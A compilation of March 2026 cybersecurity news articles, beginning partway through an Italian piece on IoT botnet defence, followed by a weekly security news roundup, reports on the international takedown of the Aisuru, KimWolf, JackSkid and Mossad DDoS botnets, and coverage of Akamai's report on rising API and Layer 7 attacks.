Armis possono automatizzare questa fase. Zero Trust Network Access per l’IoT. Abbandonare il modello “all’interno del perimetro ci si fida”. Ogni dispositivo IoT deve essere autenticato, autorizzato e monitorato come se fosse potenzialmente ostile. La microsegmentazione di rete con VLAN dedicate e regole di firewall granulari limita drasticamente il ragio d’azione in caso di compromissione. Threat intelligence e monitoraggio continuo. Iscriversi ai feed di threat intelligence rilevanti per il proprio settore produttivo e monitorate gli indirizzi IP pubblici delle infrastrutture aziendali su database come Shadowserver per verificare se risultano associati a botnet note. Implementare un SIEM con regole specifiche per rilevare comportamenti tipici dei bot (scansioni di porte, tentativi di connessione C2, picchi anomali di traffico UDP/ICMP). Piano di risposta agli incidenti aggiornato. Includere esplicitamente gli scenari DDoS e la compromissione IoT nel proprio Incident Response Plan. Definire in anticipo chi contattare (ISP, provider di mitigazione DDoS, CERT nazionale), quali sistemi isolare in via prioritaria e come comunicare con clienti e stakeholder durante un’interruzione prolungata. Valutazione dei fornitori IoT. Nei processi di procurement, introdurre criteri di cyber security by design: verificare che i produttori abbiano politiche di patch management chiare, tempi di supporto documentati e un processo di vulnerability disclosure. Preferire vendor che aderiscano a standard come ETSI EN 303 645 o le linee guida NIST per l’IoT. Dal punto di vista della gestione del rischio aziendale, questa vicenda ribadisce una verità scomoda e cioè che il rischio IoT non è un rischio tecnico di nicchia, è un rischio di business. Un’azienda che subisce un attacco DDoS da 30 Tbps, anche qualora dovesse disporre di un contratto con un provider di mitigazione, andrà di sicuro incontro a interruzione del servizio, danni reputazionali, possibili violazioni degli SLA con i clienti e, in alcuni settori regolamentati, obblighi di notifica alle autorità di vigilanza. Dunque, i danni indiretti spesso superano di gran lunga i costi diretti della remediation. È dunque opportuno valutare l’adozione di questi tre elementi a supporto delle organizzazioni: Assicurazione cyber: verificare che la propria polizza copra esplicitamente gli attacchi DDoS e le perdite da interruzione del servizio. Molte polizze “cyber” contengono esclusioni che emergono solo al momento del sinistro. Business Continuity Planning: testare il piano di continuità operativa almeno una volta l’anno con simulazioni realistiche che includano scenari di attacco DDoS prolungato. La gestione di crisi non si improvvisa sotto pressione. Supply chain security: se i fornitori o partner hanno dispositivi IoT compromessi nelle loro reti, il rischio può propagarsi verso di noi attraverso connessioni VPN, API o integrazioni di sistema. Estendete le vostre valutazioni di rischio all’ecosistema di terze parti. Lo smantellamento delle quattro botnet Aisuru, KimWolf, JackSkid e Mossad è un risultato straordinario, reso possibile dalla combinazione di capacità investigative internazionali e cooperazione pubblico-privato a un livello raramente raggiunto in precedenza. Ma sarebbe un errore interpretarlo come un punto di arrivo. I dispositivi vulnerabili che hanno alimentato queste botnet esistono ancora, a miliardi, connessi a Internet in tutto il mondo e, purtroppo, le tecniche di infezione sono documentate e replicabili con il modello di business criminale del DDoS-as-a-Service che si è dimostrato redditizio: dunque, possiamo ben prevedere che nuove botnet emergeranno o probabilmente già esistono, in fase di crescita silenziosa. La risposta strutturale richiede interventi su più livelli: regolamentazione più stringente sulla sicurezza dei prodotti IoT (l’EU Cyber Resilience Act va nella direzione giusta, ma i tempi di implementazione sono lunghi), responsabilizzazione dei produttori, educazione degli utenti finali e investimenti continuativi in capacity di threat intelligence e law enforcement specializzato. Nel frattempo, la prima linea di difesa siamo noi, aziende e privati che dobbiamo smettere di trattare i dispositivi connessi come gadget e iniziare a trattarli per quello che sono ossia endpoint di sicurezza che richiedono attenzione, aggiornamenti e configurazione consapevole. Il router del salotto (e, di conseguenza, anche quello aziendale) non è più solo un oggetto di consumo, ma un potenziale vettore di attacchi che possono colpire ospedali, infrastrutture critiche e sistemi di difesa. Vale la pena prendersene cura.
cybersecurity360.itMar 23, 2026extracted
Week in review: ScreenConnect servers open to attack, exploited Microsoft SharePoint flaw
Week in review: ScreenConnect servers open to attack, exploited Microsoft SharePoint flaw Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: What smart factories keep getting wrong about cybersecurity In this Help Net Security interview, Packsize CSO Troy Rydman breaks down the biggest vulnerabilities in smart factory environments today, from IoT devices and legacy systems to human error. He explains how unmanaged devices, from sensors to robotic components, often go unpatched and become entry points for attackers. Certificate lifespans are shrinking and most organizations aren’t ready The push for shorter TLS certificate lifespans has grown for years. Google first promoted 90-day certificates, and Apple later proposed 47-day ones, prompting the CA/Browser Forum to set a formal timeline. That plan cuts validity from one year to 200 days, then 100, and finally 47, forcing organizations to rethink certificate purchasing and management. Stop building security goals around controls In this Help Net Security interview, Devin Rudnicki, CISO at Fitch Group, argues that security strategy fails when it loses its connection to business outcomes. Rudnicki walks through how to align security goals with corporate priorities, why CISOs must present risk in terms leadership can act on, and how to balance innovation speed with measured risk. AI got it wrong with high confidence. Now what? In this Help Net Security interview, Christian Debes, Head of Data Analytics & AI at SPRYFOX, talks about the growing gap between what AI models do and what their operators can explain. He argues this gap is already a liability, particularly when decisions affect people or money and no one can say why a model produced a certain output. Field workers don’t need more access, they need better security In this Help Net Security interview, Chris Thompson, CISO at West Shore Home, discusses least privilege and credential hygiene for a field-based workforce. He covers access management, authentication practices, and data risk processes that support employees in the field. Thompson also outlines security awareness efforts and how field teams are integrated into an organization’s security posture. CISA warns of active exploitation of Microsoft SharePoint vulnerability (CVE-2026-20963) CVE-2026-20963, a remote code execution (RCE) SharePoint vulnerability Microsoft fixed in January 2026, is being exploited by attackers. The confirmation comes from the US Cybersecurity and Infrastructure Security Agency (CISA), which added the flaw to its Known Exploited Vulnerabilities (KEV) catalog on Wednesday. DarkSword: Researchers uncover another iOS exploit kit A powerful iPhone hacking toolkit dubbed “DarkSword” has been used since November 2025 to compromise devices by exploiting zero-day iOS vulnerabilities, Google researchers have shared. Two weeks ago, Google Threat Intelligence Group (GTIG) and iVerify disclosed the existence of Coruna, a spy-grade iOS exploit kit that has been used in a commercial surveillance operation, by state-linked threat actors engaged in cyber espionage, and cybercriminals. Unpatched ScreenConnect servers open to attack (CVE-2026-3564) ConnectWise has patched a critical vulnerability (CVE-2026-3564) that could enable attackers to hijack ScreenConnect sessions by abusing ASP.NET machine keys to forge trusted authentication. The ScreenConnect remote access platform is popular with managed service providers, IT departments, and technology solution providers. They can opt for the cloud-hosted version or can deploy it on their own servers or in their private cloud. Cisco FMC flaw was exploited by Interlock weeks before patch (CVE-2026-20131) A critical vulnerability (CVE-2026-20131) in Cisco Secure Firewall Management Center (FMC) that Cisco disclosed and patched in early March 2026 has been exploited as a zero-day by the Interlock ransomware gang, Amazon CISO and VP of Security Engineering CJ Moses revealed. What to do in the first 24 hours of a breach In this Help Net Security video, Arvind Parthasarathi, CEO of CYGNVS, walks through a 10-step process for handling a cybersecurity breach. The first five steps cover preparation, while the next five address what to do once a breach is underway. Cloud misconfiguration has evolved and your controls haven’t In this Help Net Security video, Kat Traxler, Principal Security Researcher – Public Cloud at Vectra AI, walks through two AWS misconfigurations that go beyond the basics of bucket visibility. The first is bucket name squatting, and the second is the cross-service confused deputy problem. Fake scandal clips on Facebook bait victims into investment scams Bitdefender researchers uncovered hundreds of scam campaigns promoted through Facebook ads that use fake news stories, celebrity impersonation, and redirect chains to funnel victims into investment fraud schemes. The activity ran through 310 malvertising campaigns distributed on Meta platforms from February 9 to March 5, 2026. The campaigns generated more than 26,000 ad sightings with localized content in more than 15 languages. 45,000 malicious IP addresses taken down, 94 suspects arrested An international law enforcement operation has taken down more than 45,000 malicious IP addresses and servers linked to phishing, malware, and ransomware activity. The action was carried out as part of Operation Synergia III, an investigation that ran from July 18, 2025 to January 31, 2026. Hackers tried to breach Poland’s nuclear research centre Poland’s National Centre for Nuclear Research (NCBJ) thwarted a cyberattack targeting its IT infrastructure. The attempted intrusion was detected and blocked before attackers could compromise systems or disrupt operations. Meta ditches end-to-end encrypted messaging on Instagram End-to-end encrypted messaging on Instagram will no longer be supported after May 8, 2026. Meta justified the move by saying the feature was rarely used, with only a small fraction of Instagram users enabling encryption. The company advised users seeking end-to-end encryption to switch to WhatsApp, where it is enabled by default. Hidden instructions in README files can make AI agents leak data Developers rely on AI coding agents to set up projects, install dependencies, and run commands by following instructions in repository README files, which provide setup guidance for software projects. New research identifies a security risk when attackers hide malicious instructions in those documents. Millions of UK firms on alert after Companies House data exposure Companies House, the UK’s official company registry, said its WebFiling service is back online after being shut down on Friday to fix a security issue that may have exposed the personal data of millions of firms. An investigation indicates the flaw was likely introduced during an October 2025 update. EU sanctions Chinese company behind 65,000-device hack The EU Council has sanctioned companies from China and Iran, along with two individuals, over cyberattacks targeting its member states and partners. With the latest listings, the EU cyber sanctions regime applies to 19 individuals and 7 entities. Global fraud losses climb to $442 billion Online fraud is reaching more victims and generating larger losses, driven by digital tools and organized networks operating across borders. In INTERPOL’s March 2026 Global Financial Fraud Threat Assessment, financial fraud sits among the top five global crime threats, with a 54% rise in fraud related Notices and Diffusions from 2024 to 2025. Big tech companies step in to support the open source security ecosystem Backed by new funding commitments from major technology players, open source security efforts are moving beyond threat identification toward practical solutions for defenders. The Linux Foundation announced $12.5 million in grant funding backed by Anthropic, AWS, GitHub, Google, Google DeepMind, Microsoft, and OpenAI to strengthen open source security. Apple starts issuing lightweight security updates between software releases Apple is delivering small security updates, called Background Security Improvements, starting with iOS 26.1, iPadOS 26.1, and macOS 26.1. Apple describes Background Security Improvements as lightweight security releases for components such as Safari, the WebKit framework, and other system libraries, delivered through ongoing patches between software updates. Firefox is getting a free built-in VPN Privacy concerns often follow free VPN services, especially when unclear data practices put user information at risk. Mozilla says its version is grounded in its data principles and focus on trust, aiming to avoid the kinds of arrangements that have raised questions in the past. Privacy concerns often follow free VPN services, especially when unclear data practices put user information at risk. Mozilla says its version is grounded in its data principles and focus on trust, aiming to avoid the kinds of arrangements that have raised questions in the past. Elite members of North Korean society fake their way into Western paychecks Increased federal activity, including indictments over the past year, has drawn attention to a pattern that has been unfolding inside corporate hiring pipelines. North Korean nationals are securing roles as remote IT contractors and full-time staff within organizations across North America and Western Europe, using standard hiring channels to get in. Samba 4.24.0 ships Kerberos hardening and a CVE fix for domain encryption defaults Samba 4.24.0 arrived carrying a set of Kerberos security changes aimed at Active Directory deployments. The release fixes a vulnerability, extends audit coverage for sensitive AD attributes, and introduces configuration options to counter two related Kerberos impersonation techniques. 900,000 contact records exposed in Aura data breach Aura, the online safety service, confirmed that an unauthorized party accessed about 900,000 records, mostly names and email addresses from a marketing tool linked to a company it acquired in 2021. The incident occurred as a result of a targeted phone phishing attack that tricked one of the employees. Secure endpoint management systems immediately, CISA urges The US Cybersecurity and Infrastructure Security Agency (CISA) warns that the cyberattack on Stryker Corporation serves as a signal to U.S. organizations that foreign cyber activity tied to Middle East conflicts may be spilling into their operations. Attackers breached Stryker’s internal Microsoft environment and reportedly wiped 200,000 systems, servers, and mobile devices, while extracting 50 terabytes of data. 4chan shrugs off UK regulator, refuses to pay £520,000 in fines over online safety violations The U.K.’s media regulator Ofcom fined 4chan £450,000 under the Online Safety Act for failing to introduce age checks to stop children from accessing pornographic content on its platform. 4chan is an online forum notorious for its extreme right-wing content, gory videos, and non-consensual pornography. Authorities disrupt four IoT botnets behind record DDoS attacks The U.S. Justice Department and international partners have disrupted four IoT botnets linked to DDoS attacks that reached 30 terabits per second, among the largest ever recorded. The four botnets targeted in the operation—Aisuru, KimWolf, JackSkid and Mossad—infected millions of devices worldwide, primarily IoT systems such as digital video recorders, web cameras and WiFi routers. Terminated contract led to $2.5 million cyber extortion scheme A federal jury convicted Cameron Curry, 27, a Charlotte resident, of carrying out an extensive cyber extortion scheme targeting a Washington, D.C.-based international technology company. He faces up to two years in prison on each of the six charges. VulHunt: Open-source vulnerability detection framework Binarly has published VulHunt Community Edition, making the core scanning engine from Binarly’s commercial Transparency Platform available to independent researchers and practitioners. VulHunt Community Edition is a framework for detecting vulnerabilities in compiled software. It operates against multiple binary representations simultaneously, working across disassembly, an intermediate representation layer, and decompiled code. Targets include POSIX executables and UEFI firmware modules. Microsoft Edge 146 adds IP privacy and local network access controls Microsoft Edge version 146 (Stable) became available on March 13, 2026, bringing updates to tracking protection, IP privacy, and enterprise network security policies. Microsoft zeroes in on AI-driven data risks in Fabric New Microsoft Purview innovations for Microsoft Fabric help organizations secure data and accelerate AI adoption. The updates focus on identifying risks, preventing data oversharing, and strengthening governance and data quality across the data estate. Your APIs are under siege, and attackers are just getting warmed up Internet-facing systems are handling sustained levels of malicious traffic across APIs, web applications, and DDoS channels. Akamai’s State of the Internet security report places these patterns within the same operating environment, with activity increasing across each area through 2025. Betterleaks: Open-source secrets scanner Secrets scanning has become standard practice across engineering organizations, and Gitleaks has been one of the most widely used tools in that space. The author of that project has now released a new tool called Betterleaks, which is designed to scan git repositories, directories, and standard input for leaked credentials, API keys, tokens, and passwords. Java 26 ships with new cryptography API and HTTP/3 support Oracle released JDK 26, the 17th consecutive feature release delivered under the six-month cadence the project adopted in 2018. The release includes ten JDK Enhancement Proposals spanning language changes, garbage collection improvements, cryptographic tooling, and network protocol support. EDR killers are now standard equipment in ransomware attacks Ransomware attackers routinely deploy tools designed to disable endpoint detection and response software before launching encryptors. These tools, known as EDR killers, have become a standard component of ransomware intrusions. ESET Research tracked nearly 90 EDR killers actively used in the wild. Google limits Android accessibility API to curb malware abuse Google is restricting how Android apps can use accessibility features after years of abuse by banking Trojans and mobile malware. The changes, introduced in Android 17.2, limit access to the accessibility API when Advanced Protection Mode (APM) is enabled. Apps that do not serve a core accessibility function can no longer use these services, closing off a common attack vector. Llamafile, Mozilla’s portable LLM runner, gets GPU support and a rebuilt core Running a large language model on a single machine without cloud access or a container runtime remains a priority for practitioners working in air-gapped or resource-constrained environments. Llamafile, Mozilla-AI’s project for packaging and running LLMs as self-contained executables, has received its most significant architectural overhaul to date with version 0.10.0. Fake AI songs streamed billions of times, netting fraudster $10 million Michael Smith, 54, of Cornelius, North Carolina, has pleaded guilty in federal court to running a scheme that exploited music streaming platforms and diverted royalty payments from artists. He admitted to one count of conspiracy to commit wire fraud, which carries a maximum sentence of five years in prison, and agreed to forfeit $8,091,843.64. Google slows Android sideloading to trip up scammers Google’s advanced flow for Android changes how apps from unverified developers are installed, adding steps to reduce scam-driven sideloading. The feature is aimed at experienced users and allows sideloading through a controlled, one-time setup. It addresses scam scenarios where attackers pressure individuals to install malicious software. Cybersecurity jobs available right now: March 17, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: March 20, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Intel 471, Kore.ai, NinjaOne, Pindrop, Secure Code Warrior, Token Security, and Xona Systems.
helpnetsecurity.comMar 22, 2026extracted
International joint action disrupts world’s largest DDoS botnets
Authorities from the United States, Germany, and Canada have taken down Command and Control (C2) infrastructure used by the Aisuru, KimWolf, JackSkid, and Mossad botnets to infect Internet of Things (IoT) devices. The joint law enforcement action also targeted virtual servers, internet domains, and other infrastructure used by the four botnets to launch hundreds of thousands of massive Distributed Denial of Service (DDoS) attacks against victims worldwide in recent months, including IP addresses owned by the Department of Defense Information Network (DoDIN). For instance, in December, the Aisuru botnet set a new record with a DDoS attack that peaked at 31.4 Tbps and 200 million requests per second as part of a broader campaign targeting multiple companies, most of which were in the telecommunications sector. Aisuru was also behind a previous DDoS record of 29.7 Tbps, while an incident originating from 500,000 IP addresses(which Microsoft attributed to the same botnet) peaked at 15.72 Tbps in November. "This operation, in coordination with other international law enforcement actions, is intended to disrupt communications associated with the Aisuru, KimWolf, JackSkid, and Mossad botnets, preventing further infection to victim devices and limiting or eliminating the ability of the botnets to launch future attack," the Justice Department said. "Court documents allege that the Aisuru botnet issued more than 200,000 DDoS attack commands, the KimWolf botnet issued more than 25,000 DDoS attack commands, the JackSkid botnet launched more than 90,000 DDoS attack commands and the Mossad botnet launched more than 1,000 DDoS attack commands." According to the U.S. Justice Department, these botnets have collectively infected and ensnared over three million IoT devices, including web cameras, digital video recorders, and WiFi routers, many of them located in the United States. The botnet operators sold access to other cybercriminals under a cybercrime-as-a-service model, enabling them to launch DDoS attacks that resulted in tens of thousands of dollars in losses and remediation costs. "These attacks can cripple core internet infrastructure, cause significant service degradation for ISPs and their downstream customers, and even overwhelm high-capacity cloud-based mitigation services," said cybersecurity and cloud computing company Akamai, which was one of the private sector firms involved in the joint action. "Cybercriminals used these botnets to launch hundreds of thousands of attacks, in some cases demanding extortion payments from victims." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 20, 2026extracted
DoJ Disrupts 3 Million-Device IoT Botnets Behind Record 31.4 Tbps Global DDoS Attacks
The U.S. Department of Justice (DoJ) on Thursday announced the disruption of command-and-control (C2) infrastructure used by several Internet of Things (IoT) botnets like AISURU, Kimwolf, JackSkid, and Mossad as part of a court-authorized law enforcement operation. The effort also saw authorities from Canada and Germany targeting the operators behind these botnets, with a number of private sector firms, including Akamai, Amazon Web Services, Cloudflare, DigitalOcean, Google, Lumen, Nokia, Okta, Oracle, PayPal, SpyCloud, Synthient, Team Cymru, Unit 221B, and QiAnXin XLab assisting in the investigation efforts. "The four botnets launched distributed denial-of-service (DDoS) attacks targeting victims around the world," the DoJ said. "Some of these attacks measured approximately 30 Terabits per second, which were record-breaking attacks." In a report last month, Cloudflare attributed AISURU/Kimwolf to a massive 31.4 Tbps DDoS attack that occurred in November 2025 and lasted only 35 seconds. Towards the end of last year, the botnet was also responsible for a series of hyper-volumetric DDoS attacks that had an average size of 3 billion packets per second (Bpps), 4 Tbps, and 54 million requests per second (Mrps). Independent security journalist Brian Krebs also traced the administrator of Kimwolf to a 23-year-old Jacob Butler (aka Dort) from Ottawa, Canada. Butler told Krebs he has not used the Dort persona since 2021 and claimed someone is impersonating him after compromising his old account. Butler also said, "he mostly stays home and helps his mom around the house because he struggles with autism and social interaction." According to Krebs, the other prime suspect is a 15-year-old residing in Germany. No arrests have been announced. First documented by XLab in December 2025, Kimwolf has conscripted more than 2 million Android devices into its network, most of which are compromised, off-brand Android smart TVs and set-top boxes. It's an Android-focused version of another botnet known as AISURU, which is known to be active since at least August 2024. In all, the four botnets are estimated to have infected no less than 3 million devices worldwide, such as digital video recorders, web cameras, or Wi-Fi routers, of which hundreds of thousands are located in the U.S. Cloudflare described the maximum attack traffic of the combined AISURU and Kimwolf botnets as equivalent to "the combined populations of the U.K., Germany, and Spain all simultaneously typing a website address and then hitting 'enter' at the same second." "The Kimwolf and JackSkid botnets are accused of targeting and infecting devices which are traditionally 'firewalled' from the rest of the internet. The infected devices were enslaved by the botnet operators," the DoJ said. "The operators then used a 'cybercrime as a service' model to sell access to the infected devices to other cyber criminals." These infected devices were then used to conduct DDoS attacks against targets of interest across the world. Court documents allege that the four Mirai botnet variants have issued hundreds of thousands of DDoS attack commands - AISURU - >200,000 DDoS attack commands Kimwolf - >25,000 DDoS attack commands JackSkid - >90,000 DDoS attack commands Mossad - >1,000 DDoS attack commands "Kimwolf represented a fundamental shift in how botnets operate and scale. Unlike traditional botnets that scan the open internet for vulnerable devices, Kimwolf exploited a novel attack vector: residential proxy networks," Tom Scholl, VP/Distinguished Engineer at AWS, said in a post shared on LinkedIn. "By infiltrating home networks through compromised devices — including streaming TV boxes and other IoT devices — the botnet gained access to local networks that are typically protected from external threats by home routers." Lumen Black Lotus Labs, in a statement shared with The Hacker News, said it has null-routed nearly 1,000 of the C2 servers used by AISURU and then Kimwolf. According to data gathered by the cybersecurity company, JackSkid averaged over 150,000 daily victims in the first two weeks of March 2026, hitting 250,000 on March 8. Mossad averaged over 100,000 daily victims during the same period. "The problem is, there are just so many devices out there that are vulnerable that two things happened – first, Kimwolf proved to be incredibly resilient," Ryan English, security researcher at Lumen's Black Lotus Labs, said. "The second problem was that multiple new botnets started to emulate the technique of using the vulnerability to grow very large, very fast." Black Lotus Labs also confirmed that the vulnerability – which affected proxy providers like IPIDEA and granted threat actors access to local network devices with Android Debug Bridge (ADB) exposed – has been exploited by JackSkid and Mossad as well to achieve the same goals as Kimwolf. This allowed them to leverage the residential proxy networks and "sweep up those bots for their own use." XLab told the publication that it provided sample hashes, decrypted C2 configurations, and screenshots of DDoS attacks as evidence. Akamai said the hyper-volumetric botnets generated attacks exceeding 30 Tbps, 14 billion packets per second, and 300 Mrps, adding that cybercriminals leveraged these botnets to launch hundreds of thousands of attacks and demand extortion payments from victims in some cases. "These attacks can cripple core internet infrastructure, cause significant service degradation for ISPs and their downstream customers, and even overwhelm high-capacity cloud-based mitigation services," the web infrastructure company said.
thehackernews.comMar 20, 2026extracted
Your APIs are under siege, and attackers are just getting warmed up
Your APIs are under siege, and attackers are just getting warmed up Internet-facing systems are handling sustained levels of malicious traffic across APIs, web applications, and DDoS channels. Akamai’s State of the Internet security report places these patterns within the same operating environment, with activity increasing across each area through 2025. The number of web attacks against apps and APIs continued an upward trajectory from January 2024 to December 2025, demonstrating their prevalence as a major threat to organizations (Source: Akamai) API activity centers on how applications behave API traffic continues to expand, and attack activity is rising with it. The average number of API attacks per enterprise per day reached 258 in 2025, compared with 121 in 2024. Most organizations reported at least one API-related security incident during the year. This places API security within routine operations for many teams. Attack activity is shifting toward how applications behave during normal use. Behavior-based threats now account for a larger share of API traffic. These threats focus on how requests move through workflows and how systems respond to those requests. Common weaknesses in APIs remain tied to configuration and access control. Security misconfiguration appears most often in vulnerability data, followed by authorization and authentication issues. Incident data reflects similar patterns, with unsafe API consumption and authentication problems appearing frequently. “Attackers increasingly focus on degrading performance, driving up infrastructure costs, and exploiting AI-driven automation at scale, rather than seeking headline-grabbing campaigns,” said Patrick Sullivan, CTO of Security Strategy at Akamai. “Automation and AI are making these sophisticated campaigns cheap, repeatable, and fast. And as enterprises invest heavily in AI transformation, attackers are targeting the APIs that power that transformation.” These conditions place API security within everyday application behavior. Requests that appear normal at first can still expose weaknesses when systems process them. Sensitive data remains part of API exposure API environments include large volumes of sensitive data. Each customer manages thousands of APIs that handle this type of information. A portion of these APIs contains security weaknesses, and some of those weaknesses involve sensitive data exposure. The number of APIs exposing sensitive data has increased over time. This reflects how APIs are used to connect systems and move data between services. Organizations also report uneven visibility into their API environments. Many maintain an inventory of APIs, and fewer can identify which APIs return sensitive data. This gap places sensitive data within systems that are still being mapped and understood. Sensitive data exposure remains tied to how APIs are configured and maintained. These conditions extend across development and production environments. DDoS activity spans multiple layers DDoS activity continues across application and network layers. Attack campaigns include Layer 3, Layer 4, and Layer 7 traffic within the same operations. This reflects how attackers move across different parts of the stack during a single campaign. Layer 7 DDoS activity has increased over time, placing pressure on application-facing systems. Network-layer activity continues alongside it, contributing to overall traffic volume during attacks. Botnet activity supports these campaigns. Variants such as Aisuru and Kimwolf infect large numbers of IoT and Android devices. These devices contribute to the traffic used in DDoS activity. Industry targeting data places software and SaaS among the sectors receiving sustained DDoS activity across both application and network layers. These environments rely on continuous availability, which places them within the flow of ongoing attack activity. Web application attacks remain steady Web application attacks are increasing alongside API activity. Attack volume has grown since 2023, with injection-based techniques remaining part of observed activity. These attacks target application inputs and how systems process data. They remain part of routine traffic across many environments. Regional data shows continued pressure in APAC, where web application and API attacks reach into the tens of billions over the course of a year. DDoS activity in the region includes both application-layer and network-layer traffic. These conditions show that attack activity spans regions and systems. Application traffic and network traffic operate within the same environment.
helpnetsecurity.comMar 19, 2026extracted
Average Number of Daily API Attacks Up 113% Annually
APIs now represent the “dominant” attack surface for global organizations, with 87% registering a related security incident last year, according to Akamai. Now in its 12th year, the security vendor’s latest State of the Internet (SOTI) report was produced from analysis of its own data. The average number of API attacks per organization in 2025 was 258, up 113% from 121 in 2024, it found. Some 61% of API attacks last year involved unauthorized workflows and abnormal activity, up from 30% in 2024. Akamai said this indicates a shift from traditional web-based to behavior-based attacks. Of the OWASP Top API Security Risks, security misconfigurations (40%), broken object property level authorization (35%) and broken authentication (19%) were the most frequently exploited vulnerabilities. Akamai also warned that the growth of agentic AI is amplifying the risk of sensitive data exposure. An average of 3000 APIs per customer contained sensitive data last year, with 12% showing security weaknesses and a quarter (24%) of those issues related to sensitive data exposure. “Since AI depends on APIs for integration and data exchange, the volume of sensitive information traversing these interfaces has increased exponentially,” the report noted. “In today’s AI-driven environment, securing AI truly starts with securing APIs.” More generally, AI is helping threat actors to automate and accelerate attacks, as well as creating new vulnerabilities (eg vibe coding) that attackers can exploit. “Attackers increasingly focus on degrading performance, driving up infrastructure costs, and exploiting AI-driven automation at scale, rather than seeking headline-grabbing campaigns,” said Patrick Sullivan, CTO of security strategy at Akamai. “Automation and AI are making these sophisticated campaigns cheap, repeatable, and fast. And as enterprises invest heavily in AI transformation, attackers are targeting the APIs that power that transformation.” The Emergence of Blended Attacks Akamai also pointed to a growth in the number of coordinated attacks that blend API abuse, web application attacks and Layer 7 DDoS activity. Web app attacks surged in volume by 73% between 2023 and 2025, while Layer 7 DDoS attacks increased 104% over the past three years. The latter are being fuelled by easy access to DDoS-for-hire services/botnets and AI-enabled attack scripts that streamline targeting of APIs and web applications, Akamai claimed. The vendor had the following recommendations for CISOs: Gain visibility into the environment as a prerequisite for tackling DDoS, app and API attacks Deploy an “integrated platform” of security controls that can be adjusted according to the risk tolerance of leadership Invest in people and processes via training and validation exercises Reference industry best practices when talking to the board or the infosec team – eg use OWASP to help prioritize training, deploy security controls, drive red and blue team pen testing, and analyze vulnerabilities Use detailed industry reports to validate that current security controls are fit for purpose Coordinate protection across DDoS mitigation, WAF, API security, bot and abuse prevention, and identity-aware controls – don’t treat these as isolated areas
infosecurity-magazine.comMar 17, 2026extracted
AI, APIs and DDoS Collide in New Era of Coordinated Cyberattacks
New research from internet infrastructure giant Akamai shows that layer 7 (application layer) DDoS attacks have increased in volume while Layer 3 (network layer) and layer 4 (transport layer) attacks have increased in scale. These, together with increasing API and web application attacks have converged into a new operating model for attackers. The latest State of the Internet Report from Akamai finds three major developments over the last year: DDoS attacks continue but evolve; API attacks increase, driven largely (but not solely) by growth in corporate use of agentic AI; and criminal use of AI as a force multiplier makes attacks cheaper, more sophisticated, stealthier and more difficult to attribute. These are no longer singular attacks. Web app attacks, API abuse, bot activity and DDoS attacks appear as parts of the same campaign. “Convergence has shifted from an emerging trend to an operating model,” warns Brent Maynard, senior director for cybersecurity strategy at Akamai. DDoS attacks DDoS attacks continue to increase, both in quantity and effect. Over the last few years, the traditional layer 3 and layer 4 attacks have been joined by newer layer 7 attacks (which have increased by 104% over the last three years). The former floods the network and transport layers, ultimately disrupting company/customer interaction. The latter attacks APIs and web apps and are easier to launch via botnets and AI. They disrupt the victim’s operations, without necessarily causing visible downtime, making them difficult to detect. Layer 3 and layer 4 attacks have increased at a slower rate, but have achieved massive scale. Mirai remains the primary culprit but has been joined by variants and copycat botnets – some of which are offered as commercial DDoS for hire services. Hacktivism remains the primary motivation, and with ongoing political tensions throughout EMEA, this is unlikely to stop. With the US/Iran conflict, it may grow in North America this year. However, we cannot ignore the possibility of inter-company rivalry and competition also being or becoming a separate motivation. Convergence of attack capabilities can be seen in the appearance of both DDoS categories appearing in a single attack. Akamai pointed to “A customer that experienced a dynamic attack powered by a TurboMirai variant that shifted between Layers 3 and 4 and Layer 7.” A different type of convergence is seen in Qilin, a Russia-linked RaaS group that has now reportedly added DDoS to its toolkit, and is currently the top ransomware threat targeting the US. “Qilin has updated its program and capabilities regularly,” reported Barracuda separately. “Throughout 2025, it has added spam campaigns, DDoS attack capabilities, automated network propagation, and automated ransom negotiation from within the affiliate panel.” API attacks APIs are among the most exposed entry points into the enterprise environment. Eighty-seven percent of companies experienced an API-related security incident in 2025. “APIs are now the prime targets of exploitation,” comments Akamai. API attacks can also be used to increase the size of level 3 and 4 DDoS attacks. In June 2025, Akamai described, “how unsanitized JSON in API requests allowed attackers to run arbitrary commands, compromise exposed servers, and enroll them into DDoS‑capable botnets that receive instructions from remote command and control infrastructure to launch DDoS attacks.” Kaspersky blogged similarly around the same time. API attacks are also one of the hardest to detect, especially courtesy of SaaS web apps. Web apps increasingly include agentic AI with multiple APIs. But in the haste to improve their products above the competition, SaaS can add agentic but omit to keep their customers fully cognizant; so, SaaS apps can simultaneously increase complexity and reduce visibility into the software being used. This is shadow AI. When the shadow AI includes undocumented APIs, it complicates and increases the existing shadow API problem. This combination of increased use of APIs in SaaS apps together with the growth of API attacks in general has fueled an ongoing growth in web attack volume, up by 73% from the beginning of 2025 through the end of 2025. “Adversaries continuously probe enterprise environments, from customer-facing websites to back-end APIs, for exploitable security gaps that can lead to full-scale breaches,” reports Akamai. “From an attacker’s perspective,” it writes, “for every web application there are APIs that expose functions and (potentially) data. The more vulnerable and easier the apps and APIs are to compromise, the quicker the threat actors can reach their objectives. The rise of AI agents that consume APIs to interact with the real world amplifies the problem.” Steve Winterfeld, advisory CISO at Akamai, explains, “APIs are becoming more common. Companies are rapidly moving their infrastructure to APIs, and they’re also moving rapidly to AI. But as they do this, there are problems. Whenever you have transformation, you have difficulty with security. It’s just natural. So, you see API attacks up by 113% because that’s where the greatest return on investment for the attacker lives, along with the weakest security.” “As a CISO,” says Winterfeld, “this report highlights the need for me to review my risk portfolio. Is my API program solid? Do I know what the business is doing with AI? Have I validated that my DDoS protections can handle the latest and greatest of these, including the layer 7 attacks that degrade my performance rather than stop my operation? Can I handle these new huge areas?” The whole report is a testament to the need for security itself to converge. Just as, for attackers, “Convergence has shifted from an emerging trend to an operating model” by combining and blending web app attacks, API abuse, bot activity and DDoS attacks, so too must defenders converge their resources. It is no longer sufficient to have one team concentrating on API security, another focused on genAI and LLMs, and another concentrating on web attacks – they need to converge and integrate to maximize protection against this new attack operating model. Related: Aisuru Botnet Powers Record DDoS Attack Peaking at 29 Tbps Related: TurboMirai-Class ‘Aisuru’ Botnet Blamed for 20+ Tbps DDoS Attacks Related: API Threats Grow in Scale as AI Expands the Blast Radius Related: Cyber 